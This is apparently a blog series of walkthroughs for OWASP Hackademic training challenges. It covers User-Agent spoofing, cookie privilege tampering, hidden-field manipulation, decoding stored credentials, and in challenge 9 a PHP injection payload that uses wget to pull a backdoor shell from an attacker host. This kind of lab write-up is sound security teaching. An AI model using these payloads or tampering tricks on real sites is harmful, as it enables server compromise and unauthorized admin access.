Tag: hackademic challenge

capture the flag, hacking, web application security

OWASP Hackademic Challenge 9

thefluffy007

Another day, another challenge.

Today’s post will be on the ninth challenge from the OWASP Hackademic Challenge.

Below is the scenario:

A friend of yours has set up a news blog at slagoff.com. However, he is kind of worried regarding the security of the news that gets posted on the blog and has asked you to check how secure it is.

Your objective is to determine whether any vulnerabilities exist that, if exploited, can grant access to the blog’s server.

Hint: A specially-tailored backdoor shell can be found at “http://www.really_nasty_hacker.com/shell.txt“.

Below is the solution

Clicking the first link we are presented with the following screen:

challenge9intro

Doing a right click, view page source we get the following:

challenge9pagesource

We noticed there’s a hidden field with the value of answer.php, with a name of page. Hmm… let’s see if we can access this page.

Putting the following address in the URL bar it seems we cannot access the file.

challenge9answerphpnotfound

From the description we know that we need to upload a file from http://www.really_nasty_hacker.com/shell.txt

We know that our page is using php. Let’s see if we can modify the User-Agent using php syntax.

Opening Tamper Data after we enter the comment we’re presented with the following:

challenge9tamperdatapart2

Changing the User-Agent to:

<?system(“wget http://www.really_nasty_hacker.com/shell.txt&#8221;);?>

Pressing “OK” we get the following:

challenge9successful

Our script was uploaded successfully!

Going to the new site we see the following:

challenge9commandline

Hmm… We’re presented with a command line similar to challenge 8!

Let’s do a ls to see what we have on the file system.

challenge9lsoutput

Well we see that there is a file named “sUpErDuPErL33T.txt”

Let’s see what’s in this file.

challenge9logininfo

We’re presented with login information.

Looking back at the command file we see the following file adminpanel.php

Going to that file we see the following:

challenge9adminportalphp

An admin portal!

Let’s enter our login information and see what we get:

challenge9adminportallogin

challenge9congrats

We passed the challenge!!!

Lessons learned:

We did our right click view page source which showed that we had a hidden file named answer.php. Trying to access this file didn’t help us. Next changing the user agent we were able to upload our file to the file system. Going to the file on the file system we noticed that the file allows us to execute commands. Executing the commands were able to find the login information and login successfully.

Use the knowledge you’ve learned to solve the next challenge. We were first introduced to user-agents in challenge #5 with the p0wnbrowser product. We know that we can change the user-agent to show content that we would’ve never noticed.

hacking, owasp, web application security

OWASP Hackademic Challenge 10

thefluffy007

Another day, another challenge…

Today’s challenge will conclude the Hackademic Challenge.

Below is the scenario:

Would you like to become an active hacker ?
How about becoming a member of the world’s largest hacker group:
The n1nJ4.n4x0rZ.CreW!

Before you can join though, you ‘ll have to prove yourself worthy by passing the test that can be found at: http://n1nj4h4x0rzcr3w.com

If you succeed in completing the challenge, you will get a serial number, which you will use for obtaining the password that will enable you to join the group.

Your objective is to bypass the authentication mechanism, find the serial number and be supplied with your own username and password from the admin team of the site.

Clicking the link we see the following screen:

challenge10intro

Doing a right click, page source we see the following:

challenge10pagesource

Looking at the line above the password line we noticed that there is a hidden field called “LetMeIn” which is set to false. What if we set this to true?

Going back to the our original screen, and clicking on Tools –> Web Developer Extension –> Forms –> Display Form Fields we see the following screen:

challenge10formfields

Changing the field from “False” to “True” and pressing the “Login” button we see the following:

challenge10encoding

Hmm… there’s an alert box that has encoding in it. Could this encoding contain the serial number?

Copying the encoding and going to Google we search for “Decoder online”. We found a website HERE

Changing the encoding type from Base64 to URL encoding and pressing “Decode” we see the following:

challenge10serialnumber

We have the serial number!

Going back to the challenge and pressing Enter we’re presented with the following screen:

challenge10email

Entering our name and serial number, and pressing the send button we see the following screen:

challenge10congrats

Lesson learned:

Our trick of right clicking and viewing the page source helped us. We noticed that there is a hidden field titled, “LetMeIn”. Developers believe that just because a field is hidden a penetration tester could not exploit these fields. This is further from the truth.

After we have tampered with the hidden field we are next encountered with encoding. Doing a quick Google search we found an encoder/decoder online that we can use to decode the encoding.

Once that decoding is done we entered our name and serial number on the next screen and we have completed the challenge.

hacking, owasp, web application security

OWASP Hackademic Challenge 8

thefluffy007

Another day, another challenge.

Today’s challenge is #8 from the OWASP Hackademic Challenge.

Below is the scenario:

You have managed, after several tries, to install a backdoor shell (Locus7Shell) to trytohack.gr

The problem is that, in order to execute the majority of the commands (on the machine running the backdoor) you must have super-user rights (root).

Your aim is to obtain root rights.

Clicking on the link we see the following:

challenge8intro

Doing a right click and “view page source” the following screen appears:

challenge8pagesource

Looking at the input box, it seems that we can use bash commands to query what’s on the file system.

Typing in “ls” (list) we see the following:

challenge8ls

the b64.txt file looks interesting… let’s open this file to see what’s inside…

challenge8base64encoding

Looking at the file there’s encoding. Taking a wild guess the encoding is base 64 (the file gave it away).

Going to Google and typing “base 64 decoder” we get the following link.

Putting the encoding from the base64.txt file into the decoder we get the following:

challenge8base64decoder

We found the username and password, yay!!!

Going back to the challenge and entering the command su (switch user) we’re prompted with the username and password.

Entering what we found in the last screen we get the following:

challenge8congrats

We’re now running the application as root (we can see that in the red text, and a congratulations at the bottom)

Lessons learned:

Once again we looked at the page source, and really didn’t find a lot of information. We did notice that we could enter bash commands and the application would interpret it.

Doing a “ls” we noticed a file on the file system. Going to said file we noticed that it was encoded. Doing a quick Google search we were able to decode the encoding and find the username and password.

A fix for this application would be to not include sensitive files on the file system for users to access. The encoding was trying to do security through obscurity – which doesn’t work. Another fix would be to not allow the user to elevate their privileges (going from a normal user to a admin root user).

 

hacking, owasp, web application security

OWASP Hackademic Challenge 7

thefluffy007

Another day, another challenge.

This post we will solve challenge 7 of the OWASP Hackademic Challenge.

Below is the scenario:

A good friend of mine studies at Acme University, in the Computer Science and Telecomms Department. Unfortunately, her grades are not that good. You are now thinking “This is big news!”… Hmmm, maybe not. What is big news, however, is this: The network administrator asked for 3,000 euros to change her marks into A’s. This is obviously a case of administrative authority abuse. Hence… a good chance for D-phase and public exposure…
I need to get into the site as admin and upload an index.htm file in the web-root directory, that will present all required evidence for the University’s latest “re-marking” practices!
I only need you to find the admin password for me…

Good Luck!

Clicking on the link we see the following:

challenge7intro

Right clicking on the page we see the following:

challenge7pagesource

We see that there is a folder named index_files. Let’s go this folder and see what’s there…

challenge7indexfiles

Well look what we have here… there’s a lastlogin.txt, clicking on that file we get the following:

challenge7lastlogin

We see that Irene is a valid user. Let’s go back to the beginning and add Irene to the text box (with TamperData on) and see what we get.

challenge7irene

challenge7tamperdata

Let’s press “OK”, and continue.

challenge7ireneclass

Reloading the page we now see the following in TamperData:

challenge7ireneuser

Well what do we have here? Inside the cookie we have the user of Irene and a userlevel of “user”. Lets try to change the userlevel to admin and see if this will solve our challenge.

challenge7ireneadmin

After pressing out we get the following screen:

challenge7congrats

Lessons learned:

Page source provided gems in this challenge. When doing the page source we noticed that there was a folder “index_files”. When accessing this folder we see that there was information that was disclosed incorrectly that showed the last login of the application. This is bad because another user (in this case us) can impersonate a valid user.

Once we checked the grade for our user of “Irene” and looked at the tamper data results we noticed there was a cookie header that showed that our user had a privilege level of user. We noticed that this value can be changed. After change the privilege from user to admin we completed the challenge successfully.

When creating an application make sure that information is not being disclosed improperly. Make sure that there are no open folders that can be accessed on the website.

hacking, owasp, web application security

OWASP Hackademic Challenge 5

thefluffy007

Another day, another challenge…

What’s the challenge today? Challenge 5 of 10 from OWASP Hackademic.

Scenario below:

You need to get access to the contents of this SITE. In order to achieve this, however, you must buy the “p0wnBrowser” web browser. Since it is too expensive, you will have to “fool” the system in some way, so that it let you read the site’s contents.

Walk through below:

Going to the website we get the following:

challenge5

Viewing page source we see the following:

challenge5pagesource

So… the page source is not helping us as there are no gems.

Let’s look at Tamper Data.
Reloading the page and press “Tamper” we get the following:

challenge5tamperdata

We don’t have any POST data to change, but we do have request headers that we can change. One field looks interesting User-Agent.

The user-agent describes the type of browser that you are using. More can be learned about user-agent HERE.

If we change the user-agent to p0wnBrowser (since we are trying to trick the user to view the contents). Changing the user-agent we get the following:

challenge5p0wnbrowser

challenge5congrats

Lesson learned:

In this case we did not have POST data (response) to change, but we did have GET data (request) to change. Looking at the different headers the user-agent jumps out as one to change. Once again, if you’re stuck, Google is the way to go!